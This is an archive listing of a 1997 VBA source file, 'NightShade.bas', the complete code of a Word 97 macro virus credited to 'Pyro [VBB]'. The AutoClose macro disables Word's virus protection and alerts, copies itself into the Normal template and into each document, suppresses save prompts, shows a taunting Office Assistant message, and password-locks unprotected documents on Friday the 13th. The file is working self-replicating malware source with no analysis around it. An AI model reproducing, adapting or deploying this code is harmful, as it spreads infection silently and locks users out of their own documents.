home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / CCTX0397.ZIP / MVUPDAT8.ZIP / NSHADE.ZIP / NightShade.bas < prev    next >
BASIC Source File  |  1997-02-18  |  2KB  |  64 lines

  1. Attribute VB_Name = "NightShade"
  2. Sub AutoClose()
  3. Attribute AutoClose.VB_Description = "Night Shade."
  4. On Error GoTo NightShade
  5.  
  6.     Application.ScreenUpdating = False
  7.     Application.DisplayAlerts = wdAlertsNone
  8.  
  9.     WordBasic.DisableAutoMacros 0
  10.     Options.VirusProtection = False
  11.  
  12.     Set ActiveDoc = ActiveDocument
  13.     Set GlobalDoc = NormalTemplate
  14.  
  15.     DocumentInstalled = False
  16.     GlobalInstalled = False
  17.  
  18.     For I = 1 To ActiveDocument.VBProject.VBComponents.Count
  19.         If ActiveDocument.VBProject.VBComponents(I).Name = "NightShade" Then
  20.             DocumentInstalled = True
  21.         End If
  22.     Next
  23.  
  24.     For J = 1 To NormalTemplate.VBProject.VBComponents.Count
  25.         If NormalTemplate.VBProject.VBComponents(J).Name = "NightShade" Then
  26.             GlobalInstalled = True
  27.         End If
  28.     Next
  29.  
  30.     If DocumentInstalled = False Then
  31.         Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
  32.         ActiveDoc.SaveAs FileName:=ActiveDoc.Name, FileFormat:=wdFormatTemplate
  33.     End If
  34.  
  35.     If GlobalInstalled = False Then
  36.         Application.OrganizerCopy Source:=ActiveDocument.FullName, Destination:=NormalTemplate.FullName, Name:="NightShade", Object:=wdOrganizerObjectProjectItems
  37.         Options.SaveNormalPrompt = False
  38.     End If
  39.  
  40.     If WeekDay(Now()) = Int(Rnd() * 7 + 1) Then
  41.  
  42.         Assistant.Visible = True
  43.  
  44.         With Assistant.NewBalloon
  45.             .Icon = msoIconAlert
  46.             .Text = "Word97.NightShade by Pyro [VBB]"
  47.             .Heading = "Attention:"
  48.             .Show
  49.         End With
  50.  
  51.     End If
  52.  
  53.     If WeekDay(Now()) = 6 And Day(Now()) = 13 Then
  54.  
  55.         If ActiveDoc.HasPassword = False Then
  56.             ActiveDoc.Password = "NightShade"
  57.         End If
  58.  
  59.     End If
  60.  
  61.     Application.DisplayAlerts = wdAlertsAll
  62.  
  63. NightShade:
  64. End Sub